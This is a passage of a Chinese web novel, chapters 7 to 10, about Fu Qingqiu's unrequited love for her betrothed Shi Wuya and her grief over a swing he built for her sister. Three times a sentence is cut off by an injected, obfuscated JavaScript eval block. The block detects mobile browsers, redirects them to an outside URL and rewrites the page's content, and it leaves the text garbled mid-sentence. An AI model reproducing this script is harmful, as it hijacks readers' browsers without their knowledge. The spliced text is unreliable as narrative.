付清秋神思一恍,痴痴看着他,心底却不自主地将他和师无涯比较起来,虽说生得俊秀却没有师无涯眉宇间的那丝慵懒倦态。 眼前人与师无涯当是两种极端。 “在下——” “无涯哥哥。”付清秋目光越过他,视线落在他身后,惊呼一声, 他的话还未说完,只见付清秋往后退了半步,一朵棠花正巧垂落在她鬓边,鬓边海棠殷粉,衬得她娇俏玲珑,双瞳剪水。 那人一时忘神,正欲开口说话。 绿柳见此,先一步同那人道:“郎君请随我来。” 7. 第7章 三月枝头繁花似锦织成一幅春景图,薄光金辉,垂花门旁栽种的海棠落下起一阵花雨。 这才春时,青年呼吸沉闷,只觉些许燥热。 他回首望向那抹清幽绿影,翩然单薄的背影,似枝头春生嫩芽,犹如河边垂柳随风飘摇,仿佛春心动。 师无涯垂手肃立,远远地瞧见这幕,待到那人走远,他才大步向她走去。 付清秋心中一喜,眉梢带笑,放下手中团扇,杏眼微挑,眸中映着他翩然玉立的身影。 无边春色里,师无涯一身墨色长袍,神情肃穆,周身带着一股寒气,见他这般,付清秋心中隐隐不安。 “无涯哥哥,方才我见着你了。”等他走近付清秋才开口。 师无涯与她错身而过,带起一阵冷风,其中漫着清幽的橘香,他的视线不曾有一丝一毫地偏移。 付清秋睫羽颤抖,一颗心沁入冰水,顷刻间心慌不已。 难不成是她做错了事,惹到了他。付清秋转身追上去,“无涯哥哥,是我做了什么让你不高兴的事?方才,方才,那人——” “你的事我不关心,付二姑娘,男女有别,劳烦你离我远些。”师无涯猝然停步,眉峰隆起,“你若是闲着,便好好留在后院里,别碍着我。” 师无涯语气不耐烦,一双漆黑的眸子凌冽寒冷,惊得付清秋气息不顺,胸口郁闷。 “无涯哥哥,我知男女有别,方才那郎君是迷了路,我并未和他说过什么别的,无涯哥哥——” 师无涯冷声打断她,微微恼道:“同我有什么关系,付二姑娘你不需要和我说什么,与我无关。” 付清秋无措垂眸,下意识地摩挲着扇柄,一时之间舌头发苦,口齿生冷,就连吹的悠悠春风竟也是刺骨的。 “付清秋,你整日追着我不累吗?”他问。 付清秋摇摇头,并不言语。 “你还是......和那时一样。”师无涯悄然叹息,见她暗自神伤,不知怎得,他忽然觉着那些话似乎说过了。 师无涯眼中倒映着少女落寞的身影,他嗓音柔和几分,淡声道:“我于前厅有事,大哥高中状元,我该备贺礼。” 付清秋长睫轻抬,从他的眼眸中窥见几分不忍,她知自己看不懂师无涯,但却不知是从何时起,她和师无涯之间仿佛隔了一堵高墙。 谁在里头,谁在外头,她不清楚,可这堵墙在慢慢隔断他们。 春风吹落满地海棠,其中一朵旋然飘落,恰好落在她虎口,一瓣薄而轻的棠花,灼得她心焦焦。 付清秋微微颔首,笑得为难,她尽力压着那份苦而涩的情绪,道:“好,无涯哥哥,你先去罢,我晚间来寻你说说话可以吗?” 师无涯背过身,墨色长袍猎猎作响,只留下一句再平常不过的话。 “随你。” 这话被风卷到耳边,刺耳又轻柔,如尖刺般地剥去心底那份希冀。 直到望着师无涯消失在转角,付清秋都未想明白,究竟是何处惹到了他,可总归是她做了什么才让他这般生气。 那她是做错了什么。 付清秋神魂不定地站在海棠树下,思绪随风乱飞,全然不觉有人快步而来。 绿柳寻到她,堪堪喘了口气,急道:“姑娘,夫人要见你,这会正四处找你。” 付清秋幽幽抬眸,见绿柳来得急,她略微颔首,“走罢。” 两人绕过曲折长廊,亭中常青树枝桠横斜,春意盎然,斑驳疏影落在廊道交错成浪,前厅是付彰会客的地方,平日里付清秋不常来。 今日摆席,韦氏怎么要她来这儿? 付清秋蛾眉轻蹙,总觉不安,手心冒出细密冷汗,“阿娘在这儿?” 绿柳道:“大姑娘和夫人都在,现如今等着姑娘过去。” 二人刚至门前,里头李妈妈轻开房门,绿柳同其他女使候在门外,李妈妈引着付清秋进屋,撩开珠帘玉幕,只见韦氏和付清岁等着她。 “清秋。”付清岁笑意轻浅,手里捏着一方素帕。 韦氏无奈地望向付清秋,道:“既来了,便过来罢,待会好生瞧瞧,不可再任性。” 付清秋点头称是,韦氏起身领两人到一座山水花鸟屏风后,屏风前的几人正与付彰交谈,屏风映着虚晃的影子,依稀辨得出人影。 坐在上首的是付彰,余下好些人,付清秋都未见过,但从身形相貌上来看,皆是气度不凡的世家子,谈吐高雅,识礼知趣。 付清岁目光灼灼,紧盯着屏风,付清秋顺着她的视线,望见了相熟的身影,一身绛紫色长袍,端坐其间,同其余郎君比起来,他年岁似小了许多,只静听不多言。 付清秋晓得韦氏的用意,只是她已有婚约,多看别人一眼只会令她心生愧疚。 纵使师无涯暂时不喜欢她,她也绝不会生出二心。 她和师无涯十二年相知相伴,总有一日,师无涯会爱上她的,古来奉旨成婚如此之多,她只要等到那日,也就熬出头了。 付清秋闲散地转着团扇,把玩着扇坠的那穗儿,韦氏看她如此,又气又急,焦躁地盯着她。 付彰和付远衡与几人交谈许久,付清岁痴痴看着屏风外那道月白身影,那人似有所查抿茶时,不动声色地看向屏风。 即使有屏风所挡,付清岁也觉那目光如火,灼烧了屏上的绢布,她秉着呼吸,攥紧帕子,心神不定地背过身。 那人移开目光,唇边抿起浅淡笑意。 他道:“付大人家的茶很是不错,能否讨些让我带给姑姑尝尝。” 付彰愣了片刻,笑道:“襄王妃若是喜欢,改日命人送到襄王府上。” 待他再望向屏风时,已是人去影空。 韦氏带两人见过厅堂内的几位郎君后,便让付清秋先行离开,单独留下付清岁。 付清秋走时背影决绝,对这些事浑然不在意,韦氏摇头叹息,念在她年岁尚小,再养两年也不急,就算要急也得先替付清岁做主。 席上热闹非常,贵妇们互相攀谈,举止优雅,言笑宴宴,付清秋闷得慌抽身回了院子。 风拂回廊,叶影簌簌,后院里宁静平和,风一吹,人就静了下来。 付清秋静坐在廊下,心里直想着师无涯为何要生气。 绿柳侍立一旁,见她愁眉不展,心底叹气,安静地陪在她身边。 坐了小半个时辰,付清秋才郁郁起身,绿柳小步跟着她,回杏院后云露迎上来,付清秋径直越过一众女使,自顾自地进屋。 云露心下骇然,朝绿柳望去,“姐姐,姑娘这是怎么了?” 绿柳道:“姑娘今日累着了,让她歇着吧。” 这日午后付清秋闷在屋里不出门,绿柳云露只得候在檐下,云露见此便是猜着什么,却不言说。 付清秋扭头窝在被里,心底还想着师无涯为何要生气,若想知道,还得等到晚间用过饭后再去问他。 师无涯本说了随她,付清秋想也不想地要去问,况且那秋千还未打来,今日虽说是她的生辰,却也是付远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191529|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡的谢师宴,她的风头自然不及付远衡。 再过几日又是官家设的琼林宴,到那时付家越发风光,只可惜付清秋无心名利,便是有再好的前程,她也不在意。 日近垂暮,已是酉时,菱花窗边洒金,房内碎光满地,估摸着时辰差不多了,她起身唤绿柳云露。 绿柳说李妈妈来过一遭,知她快醒了便没催,候着她醒来。 “晚间父亲也在,无涯哥哥应当也在的。”付清秋醒神,上好妆,戴上翠玉小珥。 绿柳颔首,云露临出门前去拿了件披风,三人齐齐出门,至正屋前,付清秋放慢了步子,抬眼见付彰满脸堆笑,付远衡端坐一旁静听,付高越则垂丧着头。 付清秋落座,付彰见她晚来,笑问:“你又躲懒?饭也不肯吃?今儿听你母亲说你身子不适,好些了?” “好多了,爹爹倒别担心我,好几日不见爹爹,鬓间白发丝儿都冒出来了。”付清秋细细瞧去,愁道,“爹爹这样,看得我心疼。” 此番话下来,付彰乐得忘形,眼中笑意更深,心想这小闺女没白养,人人都道闺女是小袄子,是了是了。 韦氏拈酸吃醋,道:“心里只念着你父亲去了,哪儿还想着我了呢。” “阿娘,我一年到头才见爹爹几回嘛,便是见着了也说不到几回话的,阿娘便不要拿我不放了。”付清秋挽着韦氏手晃悠,摆出一副小女儿的模样。 韦氏心里生气又无可奈何,见她这般白日里的气也消了。 付清秋左侧挨着付高越,右侧靠着韦氏,师无涯与付清岁紧挨着,付清岁左侧挨着付远衡,师无涯右侧则是挨着付高越。 不多时,几人用过饭,付彰留下师无涯,付高越押着付清秋往外去,只好命绿柳守在门外。 “二哥哥押着我出来作甚?”付清秋疑道,“可是我刚才得罪了二哥哥?” “都不是,我只见你时不时盯着师无涯,拿你出来问话呢,我且问你为何喜欢他。”付高越与她闲庭散步。 棠枝月梢,幽香深静,树影灯昏。 付清秋心知瞒不过,只如是说:“我与无涯哥哥有婚约了,我自小便喜欢他,这有什么可问的?” 付高越眸光渐沉,见她说得情真意切,到嘴边的话又生生吞了回去。 他调转话头,道:“我不过随口问问,不与你说了,我待会有事与大哥说,你先回罢。” 付清秋正想着如何溜走,付高越松了口,她便顺着道:“二哥哥快去罢,别叫大哥哥等急了,我便回了。” 话落,她转身往回去,只刚走了两步便遇上回来的绿柳。 云露见她来得急,一把揽住绿柳,“姐姐跑这么快,人都没瞧出来?” 绿柳低喘着气,这才抬眼看人,付清秋正望着她,轻声问:“无涯哥哥可是出来了?” 绿柳点头道:“出来了,这会子正要回屋,师郎君步子快,我怕姑娘跟不上便着急忙慌地往这儿跑。” 闻言,付清秋提裙一路小跑,赶着师无涯的院子里去,她跑得急,带起一阵疾风,月光照出花苑里的两道幽幽长影。 付清秋胸脯起伏,微微喘气。 她在花苑前慢慢顿住,见着眼前这幕,付清秋怔在原地,只看影子她就知是谁。 急促而来的脚步声引得两人回头,付清岁与付清秋遥遥对视一眼,付清岁于心有愧,默默别开目光。 师无涯衣袍如墨,只一瞬他的笑意快速凝滞,眸中神色变幻不明,似乎在恼她的到来。 8. 第8章 付清岁见她急促而来,关切问道:“夜里冷,别又惹了风寒。” 付清秋僵在原地,望着他二人好似画中壁人,云露绿柳匆匆赶来,见着此幕不免心底发怵,满心欢喜想见的人却和别人月下相会。 师无涯不为所动,一如往常辨不清喜怒,可付清秋心里明白,他一定在生气,只是碍于付清岁并不发作罢了。 付清秋心底掀起惊涛骇浪,却仍忍着伤心,问:“大姐姐怎在这儿?” 付清岁极其从容自然道:“出来转转,遇着了三哥出来,这会我也该回去了。”言罢,她即刻回身同师无涯作别,冬盈随她一道离开。 师无涯目光紧随着她,绵绵情意融在月色里,叫付清秋心底一寒,可见得多了,她也只当是没瞧见,仍在心里瞒着自己。 待她一走,只剩两人在夜风中无言相对。 云露为她披上碧色卷草纹披风,随后二人退到廊下,留两人独自说话。 付清秋倒吸一口凉气,她黯然道:“无涯哥哥,白日里我的话还未说完,我想说完,况且你答应了我,我须得说清楚。” 师无涯回神,垂首看她,当即散漫着语调反问:“说什么?”他唇边勾起慵散地笑,“付二姑娘是不是记性不好,我不觉得你有什么好和我说的。” “可我要说清楚,不能让你误会了我。”付清秋见他要走,急道,“无涯哥哥你别走!” 师无涯背对着她,突然停顿下来,付清秋心下雀跃,却又意外他真的停下,可转念一想,她又觉得自个太过委曲求全,总在看着他的背影。 究竟在强求些什么,思绪拉扯之间,付清秋晃了神。 师无涯静静地等她的下文,等了好半晌都不见她说话,原想催她,但那话哽在喉间,他只等着她。 夜风骤起,拂过红花绿枝,师无涯不知付清秋在想些什么,他百无聊赖地仰头看星夜中的圆月,忽地回想起方才付彰与他说的那些话。 付彰问他为何不去此次科考,又问他日后有何打算,总归问的是些前程功名,顺道说了些昔年旧事谈到了他的父亲。 他已有十几年未曾见过师远,如今那张苍老慈爱的容颜在他记忆中泛黄陈旧,付彰无端地谈起他父亲,师无涯心底不悦只当时未显。 这世上,没有人有资格提起他的父亲,谁也不能。 “付二姑娘,是被风吹僵了,还是被水浸了,这会又说不出话来?是逗我好玩?”师无涯冷声问道,并不转身。 付清秋醒神拢了拢披风,忙道:“不是不是,我是发了会呆,无涯哥哥白日里的事,我虽和你说过了,但此刻我再说一次便再不提了。” “我与那郎君只是恰巧遇见,并无别的事,我的心里只有你,不论如今还是将来,即使没有婚约,我也会喜欢你,无涯哥哥,你回头看看我罢。” 付清秋声音很轻带着一丝坚定,那声音柔软又坚韧不禁让人心疼。 不管有没有那一纸婚约,她都会喜欢他,师无涯在她生命中十二年,那是无法泯灭的存在。 付清秋庆幸有这婚约能够让她光明正大,名正言顺的喜欢他。 闻言,师无涯眼眸低垂,无动于衷。 “这话日后别再说了。”他沉声说。 付清秋习以为常,只紧咬下唇,道:“无涯哥哥不喜欢听,我日后不说了就是,只是我藏不住事,我还有别的事儿要问。” 见他不走,付清秋心下没由来的欢喜。 师无涯问:“什么事?” 付清秋往前迈一步,抿唇道:“今日虽是大哥哥的谢师宴,却也是我的生辰,无涯哥哥我的生辰礼物呢?” 疾风骤起,吹得付清秋眉头紧缩,师无涯黑袍墨发翻飞,岿然不动,恰巧挡在她身前。 “东西早送去了你院子,你且回去看罢。”话落,他决然离去。 见师无涯离开,云露绿柳方才回到付清秋身边,云露关切道:“姑娘,刚起了好大的风,别吹出病来了。” 绿柳重新系好披风带子,“云露说得是,姑娘快回屋去罢。”瞅着带子系紧了,绿柳方才放心。 付清秋大喜过望,现下恨不能飞回院子,只是她午后都待在院里哪里看见过秋千,便问云露:“无涯哥哥今日可来了院子?” 云露道:“今儿倒是不少人来,师郎君倒不曾注意,我和绿柳姐姐忙着清点,却是没瞅见。” 绿柳应道:“想是师郎君来过,我们没瞧见,待会回去姑娘再瞧瞧。” 付清秋想,许是忙忘了也有可能,待她回去瞧一瞧便知道了,于是又火急火燎地回院子,途径付清岁海棠院时,匆匆越过一眼,却又是一阵风来,没瞧见里头的光景。 她心里着急,也没曾注意到那棠花院里晃动的影子,但脑海里却留了影,不作他想。 院里早有婆子候着等付清秋回来,见她匆匆,因问:“姑娘上哪儿去了?今夜好几阵大风,方才李妈妈又来问姑娘睡下了没。” 付清秋不理,直往青梅树下奔,绿柳向婆子道:“姑娘这会正忙,妈妈先去歇着,有我服侍姑娘。”老婆子得了闲,笑笑说绿柳贴心便回了。 绿柳跟着付清秋在青梅树绕了好几圈,又不死心地看了看一旁的松树,并几棵杏树,檐下灯光澄明,院子说大不大,只一眼便知有无秋千。 绿柳心疼得蹙眉:“姑娘别再绕圈了,师郎君忘了也可能,这会冷着呢。” 方才起风过后又吹了好几阵冷风,叫人身心一颤。 付清秋不肯停,誓要看到秋千,如今明知是一场空欢喜,却仍不肯面对,绕着绕着付清秋眼底泪花打转。 绿柳拦下她,抱在怀里轻哄,“好姑娘,别找了,兴许师郎君忘了,姑娘先回屋,云露烧着炭呢。” 付清秋埋首轻声啜泣,胸口颤着,绿柳自小和她一块长大,长她三岁,见她哭得伤心,心也跟着揪疼。 绿柳知她喜欢师无涯,因而平日总顺着付清秋,只是想她高兴些,可这些日子,绿柳见师无涯这般行事,便再有好话也只得吞下去。 不多时,付清秋止住了泪,微微仰头,小鹿似的眼眸汪着春水,如何能不叫人心疼,绿柳轻言细语地说。 “姑娘,进屋去罢,睡会便好了。” 付清秋乖巧点头,跟着绿柳进屋去,云露燃好安神香,满室幽香清宁,付清秋心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191530|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺了气,长长地呼了口气。 云露道:“我刚去瞧了,师郎君着实送了东西来,不知是被那个小丫头收着了,字写得歪歪扭扭的,我认了好几遍才瞧出来。” “我见姑娘在找,便拿了出来。”云露取出小木盒子放到桌上。 绿柳愁眉不展,凝着小木盒子出神,付清秋缓步上前,掂了掂木盒,大抵已猜到是什么,原来这就是他送的笄礼。 原来不过是个寻常玩意,只叫云露收好。 云露道:“师郎君约莫是送的簪子,姑娘不瞧瞧?”她将木盒放回原处,付清秋不答,趴在桌上不言语。 云露这才发觉付清秋不对,便向绿柳投去眼神,二人交换眼神,云露恨自己鲁莽。 一夜无话,云露绿柳小心服侍,直到出了卧房才堪堪喘了口大气,这回不必绿柳说,云露也明白是所为何。 绿柳总觉不对,心里闷得慌,待到云露走后,绿柳方才慢慢回屋。 卧房里付清秋静静地躺着,一如往常那般出神地望着帷帐,窗外透进些许银光,付清秋早已将事捋了个清楚。 师无涯确实打了秋千,而那秋千不是为她打的。 哪能是谁? 想着想着,付清秋心里发酸,泪珠滚滚,低声抽噎。 当初师无涯问她想要什么做生辰礼,原是为了付清岁,她心里欢欢喜喜地期待,却是一场空欢喜。 可那秋千真的是为付清岁打的吗? 付清秋猛地坐起身,擦干了眼泪,顺手取了件披风推门而出,守夜的婆子正打盹,也没听见她的声响。 风凉夜深,付清秋一路小跑,任风冷风灌入衣袖,她只想看一眼是否如她所想。 临到付清岁院前,付清秋脚步慢了下来,院外石灯二三,照出树影叠晃,付清秋被风吹得心乱,还未到院前就已胸闷紧张。 她走至院前,静静地站在院外,远远地往里眺望,月光勾起海棠枝,一架秋千上落着层层叠叠的花瓣,风一吹又散了,架子晃悠悠的。 是了。 付清秋怔在原地,她心心念念的东西,对付清岁而言,只消一句话便可以拿到,不是她的不对,是师无涯心里有她。 她早知道的不是吗,为何还是会忍不住心酸流泪,付清秋如抽丝木偶,眼中倒映着秋千,晃啊晃啊,晃不回从前。 不知过了多久,付清秋艰难地走回院子,老婆子这才惊醒,发觉她出去了一遭,可此刻付清秋又关门进了屋,老婆子只得装作不晓得省一桩事。 此夜深长,付清秋辗转不见天明,时而发呆,时而流泪,她不知是在何时睡了过去,昏昏沉沉之间她又梦到从前在杭州的情形。 杭州小院里的青梅树下的秋千是师无涯为她打的,师无涯轻轻地推秋千,小心翼翼地护着她,那是属于她的秋千,而如今却早已远去。 或许师无涯心底也是不愿回到从前的,这个梦太过美好,于是付清秋又看着师无涯牵着付清岁的手,在她的身边低语哄笑,而她只是个旁观者。 从前在杭州的种种,如梦似幻,一景一物都如此的真切。 若可以,付清秋情愿这场梦不要醒来。 9. 第9章 自那日过后付清秋闭门不出,韦氏命人去请,也只是托病不去。 一回两回倒还说得过去,可一连大半个月不出门,韦氏只得审问绿柳云露,绿柳装作不知,云露心里没底,也说不出缘由。 如此一来,韦氏更是慌了神,几次去见她都被拦在门外,付清秋则躲在房里,蜷缩在锦被里。 “清秋啊,阿娘担心你,快开门让阿娘瞧瞧,可是病了,又或是谁惹着你了,阿娘为你说理去。”韦氏捶胸顿足朝里喊道。 她就这一个乖乖女儿,如今闭门不出,不肯见人,韦氏声泪俱下,哭得两眼高肿。 付清秋不作回应,置若罔闻。 无论韦氏如何哄劝,里头毫无声响,韦氏两眼一红,攥着手绢擦泪,“清秋,让为娘瞧瞧你,好让我放个心,别自个儿躲着生闷气。” “我怀你时那么艰辛,是瞧不得你受丁点儿苦,你如今接连几日闷在屋里,别将你闷坏了。” 韦氏泪流满面,心中大恸,一口气险些没顺上来。 云露小心上前道:“夫人,别急坏了身子,姑娘许是病还未痊愈。” 韦氏横眉睨她一眼,深深叹气,只得先离开。 待到晚间用饭时韦氏同付彰谈及此事,付彰食之无味,讶然问道。 “是为何事这半个月不出门?这几日汴京正热闹,平日她不是最喜欢了?”付彰语气凝重,起身直奔后院。 韦氏并一众仆妇紧随其后,云露和绿柳守在廊下,忽见付彰和韦氏在月夜下快步而来。 “清秋,爹爹给你带了外国使者进贡的宫花,是官家赏赐的,出来瞧瞧罢,清秋。”付彰轻叩房门。 韦氏也出声喊她,里头却和白日一样,静得出奇。 付彰忧道:“清秋,有什么事有什么委屈和爹爹说,别闷在屋里。” 房内烛火翩然欲灭,灯影昏昏,付清秋将就吃了半碗粥,房外身影仍在,让父母着急心焦,这并非她的本意。 “爹爹,阿娘,我困了,这几日春困不适,只不想出门而已,别担心我,阿娘等我好些了再向阿娘赔罪罢。”付清秋掐灭红烛,重归黑寂。 韦氏听罢,连连蹙眉,道:“清秋若是病了,咱这就去请大夫,出来见见阿娘叫我们放心。” 付彰拦下韦氏,“罢了,让她歇几日。”闻言,韦氏只好和付彰一道离开。 付清秋仍不出门,只闷在屋里,不论谁来都托病不见,可她想见的人,却一次都没来。 午间用饭时云露因被韦氏叫去问话,只留绿柳在。 春息渐远,孟夏已至,庭前青梅树枝叶如浪,碎金照入房内。 少许金光落在付清秋眉梢发尾,她侧趴在桌上,怔怔地发呆,绿柳见她清瘦了不少,便没忍住轻声问道。 “姑娘为何事如此伤心?”绿柳搁下菜碟,盛出一碗清粥,“姑娘,再是生气,也不能和自己过不去不是?” 付清秋唇色泛白,比先前落水更显虚弱,她轻掀眼帘,抬眸看绿柳,拉着她的手让她坐下。 “绿柳,我心里藏着的事儿,即使不告诉你,你也知道,但怎么和别人说都无用,他们只会说我一根筋,脑子笨得转不过来。”付清秋泪意蒙蒙,杏儿眼汪着水,却并没有哭。 绿柳心疼地看着她,静静听她说话。 付清秋缓声,道:“我什么都知道,心里比谁都清楚,可是我喜欢了无涯哥哥十二年,十二年太长了,我一辈子都不会忘掉。” 光影交融,绿柳反握住付清秋的手,轻声说:“姑娘心肠好,生得好,是最好的人儿,日后说不定会有更好的郎君。” 付清秋固执地摇头:“可我只喜欢无涯哥哥。” 绿柳不再劝,也不知该如何劝,待到付清秋用过饭,绿柳关门退去,付清秋慢腾腾地往书案去,从黄梨木书架上取出一沓印花笺。 数十张印花笺叠在手心,厚厚一沓,付清秋抽出最底下的一张,碧色笺纸上密密麻麻的几行字。 ——再不要喜欢师无涯。 付清秋提笔一遍又一遍地写下这句话,乌黑墨汁糊在纸上,她的字歪歪倒倒,印花笺沾水晕开。 午后闲暇日光沿窗攀上书案,付清秋再写不下去,呆呆看着师无涯三个字发愣,泪水夺眶而出,就算写上一千遍一万遍,她也明白,她不会因此不喜欢他。 她哭累了,写累了,浑浑噩噩地趴在书案上睡了过去。 窗外青梅树枝叶摇曳,淡黄莹白的花苞随风飘摇,绿柳云露在廊下打盹,丝毫未发觉院前来回踱步的身影。 “三哥,去看看清秋罢,她这几日不肯出门,我们说什么都是没用的,三哥你去劝劝罢。”付清岁眉头轻蹙,忧道。 她前些日子去见付清秋被挡在了门外,后来听绿柳说付清秋是谁也没见,并不单单只对她如此。 从前付清秋哪有生过这么久的气,付清岁不知如何安慰妹妹,但却明白谁最能牵动她。 师无涯朝那紧闭的房门望去,眸中交织着付清岁看不清的情绪,忽明忽暗,像是明月下的一滩死水。 “这半个月,她一次都没出来过吗?”师无涯仍看着那儿。 付清岁颔首道:“没有,三哥,大哥和二哥都去看过清秋了,三哥也去看看罢,你心里不也担心着吗?” 师无涯即刻转身,一口否决,“我没有。” 前几日付清岁来寻付清秋时,正巧在院前遇着了师无涯,师无涯只道是经过并不多言,付清岁也没多问。 “付二姑娘向来如此,过几日便又好了。”师无涯正欲离开,付清岁见此,当即拦在他身前。 “三哥,清秋始终是个小姑娘,再这样下去恐怕会生病。”她凝眉道,“就去看看罢。” 师无涯眸光凝滞,似在思索,付清岁拉着师无涯往院里去,她顺势躲在青梅树后,推了他一把。 付清岁眼神示意他去,绿柳听见声响,吓了一激灵,抬眼见是师无涯,心下更是吃惊。 绿柳迎上前去,低声道:“师郎君既来了,就去看看姑娘罢。” 师无涯眉心紧蹙,眼中踌躇万分,绿柳觉察到,便又说:“师郎君能来,到底是关心姑娘的,这会姑娘正醒着。” 绿柳心知师无涯能来一次不容易,何况付清秋心里是念着他的。 付清岁探头望去,只见绿柳和师无涯在说着什么。 过了好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191531|150753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌,师无涯慢步走到付清秋门前,绿柳则适时退下。 师无涯停在木门前,良久,他才缓缓抬手叩门,轻轻地一声,没有回应。 再一次轻叩,仍旧无声,师无涯越敲越轻,始终没听到声响,心里蓦然松了口气。 付清岁躲在青梅树下观望,不见付清秋开门,也不见师无涯转身,可他却也不再叩门,付清岁心中有疑。 正当付清岁以为师无涯要走时,付清秋忽然出声,惊得付清岁靠紧了青梅树。 师无涯悄然抬眸,只听付清秋嗡声问:“是谁?” 付清秋从睡梦中惊醒,抬眼一望就看见了门口颀长的身影,有些眼熟,却因刚睡醒意识朦胧没能认出。 何况她心里清楚师无涯并不喜欢她,又怎么会突然出现。 那人迟迟不开口,付清秋只浅浅瞥了一眼,不知为何她心里发慌,回过神来把桌上的印花笺收好放回书架上压着。 付清秋留了一张干净地印花笺,出神地乱画,见外头那人还在,便问:“是谁在外头?” “绿柳呢?” “是我。”师无涯压低声音。 付清秋手上一抖,怔怔地盯着她写的几行字,只要一提笔就是在写这几个字,付清秋急忙搁笔,将印花笺揉成一团随手扔在书架后面。 “听闻你这几日心绪不宁,身子不适,我来看看。”师无涯眼神慌张,为难地说出这句话。 他的语气如此明显,付清秋又怎么听不出其中端倪,她挽好袖子,道:“无涯哥哥,来看过了就回去罢。” 师无涯眸光一冷,直盯着木门,他倒想看看此刻付清秋是如何说出这句话的。 只可惜,这扇门挡着他,不能窥探一二。 若是搁在以往,付清秋恐怕早已欢天喜地开门,如今她这样,师无涯竟觉有些无措。 金乌高照,灼烧着他的后背,师无涯进退不能,付清秋的这一句话,叫他无所适从。 付清秋趴在书案上望着师无涯的身影,手里握起笔,顺着门上残影一笔一画地勾勒他的身形。 墨汁滴在她莹白的手腕,蜿蜒流到印花笺上,付清秋频频蹙眉,心想他既来了,为了看她而来,何不听他说些什么。 师无涯见她不再说话,明知该走了,却仍旧站在原地不动。 付清秋性子拧,难保她不会做出什么事来。 “你这几日为何不肯出门?”师无涯语调温和,只这片刻,付清秋心里那点死灰再次燃了起来。 付清秋搁笔,坐直了身子,眸光星亮,“我心里有事没想明白,无涯哥哥,可以告诉我为什么吗?” 说到此处,付清秋鼻尖一酸,想起在付清岁院里看见的秋千,委屈涌上心头,止不住的流泪。 师无涯没能听出她语气中的哽咽,心烦道:“什么事?” 付清秋压不住喉间的呜咽声,断断续续地说:“你为什么要......把秋千,给大姐姐......?” “那不应该是我的......生辰礼吗?” 师无涯骤然抬头,一时之间,不知如何回答她,可听着她语不成调的哭诉,那些想要说出来的话便像是刺卡在了喉间。 10. 第10章 周遭寂然无声,唯有付清秋的抽噎声断断续续,那轻灵的声音如同白蚁啃噬,抓得人浑身战栗。 师无涯手攥成拳,转过身,冷道:“我从未和你说过那是你的生辰礼,如今你倒因这件事闭门不出使小性子,到头来竟然成了我的不是。” “付二姑娘,原来你是在怪我。”师无涯冷嘲一声,一抬眼却见着有几个婆子从院前匆匆而过。 他眼中闪过一丝嘲弄,道:“付二姑娘,不是所有人都要围着你转,你未免太过自私了。” 那不过是一个秋千而已,付清秋想要什么得不到,偏偏要以秋千这件事为由。 付清秋泪如雨下,那些话如尖刀利刺,往她最在意的地方戳去,压得她胸闷得喘不过气,下意识地想要开口辩解。 她没想要所有人围着她转,她只是想要他心里多在乎她而已。 任谁都可以误解她,但唯独师无涯的误解,付清秋不肯认,她慌忙起身要去开门,只刚跨出一步,书案桌腿她的勾住裙角,她被绊倒在地。 圈椅被推倒,付清秋磕到桌角,吃痛捂着头,身心都痛得发麻,原本想要去拦师无涯的心怎么也爬不起来。 付清秋跌坐在桌边,眼泪婆娑地望着师无涯离开,眼看着那身影越来越远。 她从没有要全天下的人围着她转,她也不是非要那个秋千,付清秋泣不成声,身心俱疲。 恰此刻窗外起了大风,胡乱地拍打着窗棂,悠悠浮云遮住日光,室内骤然一暗。 付清秋蜷缩成一团,抱着膝盖埋头痛哭,风声掩着她的哭声。 砰—— 忽地一声,似有什么轰然断裂,震耳欲聋,风也停了下来。 付清秋吓得发颤,咻然抬头,却见晴光入室,师无涯一袭绀色长袍随风飘扬,剑眉紧锁,眸光晦暗不明。 师无涯眼睫低垂正看着她,见她脸上挂着墨,泪水和墨水搅在一起,可怜又可爱,蓦然间他眉头一松,不动声色地抹开手心的冷汗。 “摔了?”师无涯只觉好笑,眸光添上几分温和。 付清秋止不住抽噎,还在一抽一抽地望着他,她不解师无涯为何要踹门。 “无涯哥......哥,门...” “付二姑娘还在意一个门?付家在朝中如日中天,连个门还要我赔?”师无涯蹲下身,朝她伸手,“不要再使小性了。” “不就是个秋千?有什么值得你这样做的,若是喜欢让伯母找匠人给你打一个不就行了?” 师无涯扶起她,付清秋倔强地摇头,“这不一样。” “有什么不一样。”师无涯看她冥顽不灵,登时撤回手,复又淡然道,“你一向固执,总觉那得不到的才是最好的。” 付清秋听他如此说,更是心凉。 “无涯哥哥,你为什么要这么说?”付清秋擦干泪,止住喉间哽咽,“我得不到的,我自然不要,但本来是我的,我凭什么不要。” 师无涯和她有婚约,是师无涯先喜欢上别人,于她有愧。 